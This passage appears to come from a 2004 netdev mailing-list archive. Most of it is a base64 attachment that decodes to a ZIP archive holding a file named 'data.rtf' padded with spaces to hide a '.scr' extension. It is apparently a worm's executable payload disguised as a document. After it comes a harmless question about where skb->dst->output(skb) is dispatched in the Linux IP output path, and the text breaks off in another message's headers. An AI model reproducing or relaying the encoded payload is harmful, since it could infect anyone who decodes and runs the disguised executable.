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 tVaIrb2vS5DegNpn988dYP4eQvpY476zaQ2Oq2vgw9KEAT0fo8i3hTzhBBZlFpcGz2NJgnlS VxARfKqw7X9cRXnod44BrwCjY6s08oxyEfbLeRixhVxSh7ZoEQm7hfiQKWnzXQI5HEbzTb5j csjEQXfHC2Kay9oA3q2a6byurTdwdfQlBskE09pUk/9AZ04kapAd+s3ApXXvP9z/TiI1PI/i 5n+h2yhV0wI640DsmTDJIcZ+T7+8+pikUj7Hxn//UkxhDOUhaQb3i6c0jbL+Ns51xxYCrsfK O2PfPMCaT+wC8p8BEXoIdW91b3gOHn4MjMF4RXW1QpcmwoNWm8lPX1FGbZkjjZ0zGKmZ0Iwj nOlLEiEmAHjtGMHgTyD8EKfKrwtAOCMOqhAIwYlmHBff+3UmSnwOLAO4nPL3V2UbY4X6m/v0 JUknXohbWet/HYWabJZ8a6zslgpEAvc7+U4RNXPoavYI4J843NWqoU3DYDqOHT0ikRxkhCtW 4sZzkjMDa9sHvOLTRsqYSlGXpA+LjhMGGNDSe+QpzrbnQlnQqBjQxQCseskh/bTg1jNLqQ0d KnqS3TWyHeJ0S48AAAEAAgAgIBAAAQAEAOgCAAABACgAAAAgAAAAQAAAAAEABAAAAAAAgAIA AAAAAAAAAAAAAAAAAAAAAADM//8AaFdYAAAAAACAgIAA////AMDAwAD/AAAAAP//AL8AAAAA AP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIiESIiIiIiIiIiIiIiIiIiIhNVVVVVVVVVVV VVUlIiIiI0REREREREREREREUlIiIiNERERERERVVERFVVJSIiIjRIiIiERJmUREmZRSUiIi I0RERERERJVERElUUlIiIiNEiIiIiERJVVVZVFJSIiIjRERERERERJmZmVRSUiIiI0SIiIiI iERJVElUUlIiIiNERERERERERJVJVFJSIiIjRIiIiIiIiERJWVRSUiIiI0RERERERERERJlU UlIiIiNEiIiIiIiIiERJRFJSIiIjRERERERERERERERSUiIiI0SIiIiIiIiIiIhEUlIiIiNE RERERERERERERFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEIiIiIkSI iIiIRFJSIiIjRDmSREJERERERERSUiIiI0QyIiIiRIiIiIhEUlIiIiNENEJ3ckRERERERFJS IiIjRDIid3JEiIiIiERSUiIiI0Q0QndyREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDRC ZmJERERERERSUiIiI0QzMiIiREREREREUlIiIiNERERERERERERERFJSIiIjQkQkQkQkQkQk QkQyUiIiI0JEJEJEJEJEJEJEMlIiIiIkM0M0M0M0M0M0M0MiIiIiIiIiIiIiIiIiIiIiIiLg AAAP4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAA B+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfg AAAH4AAAB+AAAAf4AAAP/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AFBLAQIUAAoAAAAAAO87sjDjBNKNAHwAAAB8AABXAAAAAAAAAAAAIAAAAAAAAABkYXRhLnJ0 ZiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIC5zY3JQSwUGAAAAAAEAAQCFAAAAdXwAAAAA ------=_NextPart_000_0016----=_NextPart_000_0016-- From linux_lover2004@yahoo.com Tue May 18 03:31:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 18 May 2004 03:31:59 -0700 (PDT) Received: from web90109.mail.scd.yahoo.com (web90109.mail.scd.yahoo.com [66.218.94.80]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4IAVvKO021561 for ; Tue, 18 May 2004 03:31:57 -0700 Message-ID: <20040518062857.80216.qmail@web90109.mail.scd.yahoo.com> Received: from [203.199.141.99] by web90109.mail.scd.yahoo.com via HTTP; Mon, 17 May 2004 23:28:57 PDT Date: Mon, 17 May 2004 23:28:57 -0700 (PDT) From: linux lover Subject: tracing calls of output(skb) To: linuxkernel Cc: netdev , netfilter MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 5173 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: linux_lover2004@yahoo.com Precedence: bulk X-list: netdev hello friends, can anybody knows where does this skb->dst->output(skb) call goes? it is written in output_maybe_reroute function call in ip_output.c? also let me know whether following two calls also point to same destination funcaion as above function? hh->hh_output(skb); return dst->neighbour->output(skb); if yes to which function they point (dev_queue_xmit)? Thanking you. linux_lover __________________________________ Do you Yahoo!? SBC Yahoo! - Internet access at a great low price. http://promo.yahoo.com/sbc/ From manu.garg@med.ge.com Tue May 18 07:21:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 18 May 2004 07:21:50 -0700 (PDT) Received: from ext-ch1gw-1.online-age.net (ext-ch1gw-1.online-age.net [216.34.191.35]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4IELjKO029596 for ; Tue, 18 May 2004 07:21:45 -0700 Received: from int-ch1gw-6.online-age.net (int-ch1gw-6 [3.159.232.70]) by ext-ch1gw-1.online-age.net (8.12.9/8.12.9/990426-RLH) with ESMTP id i4IELTme022354; Tue, 18 May 2004 10:21:30 -0400 (EDT) Received: from 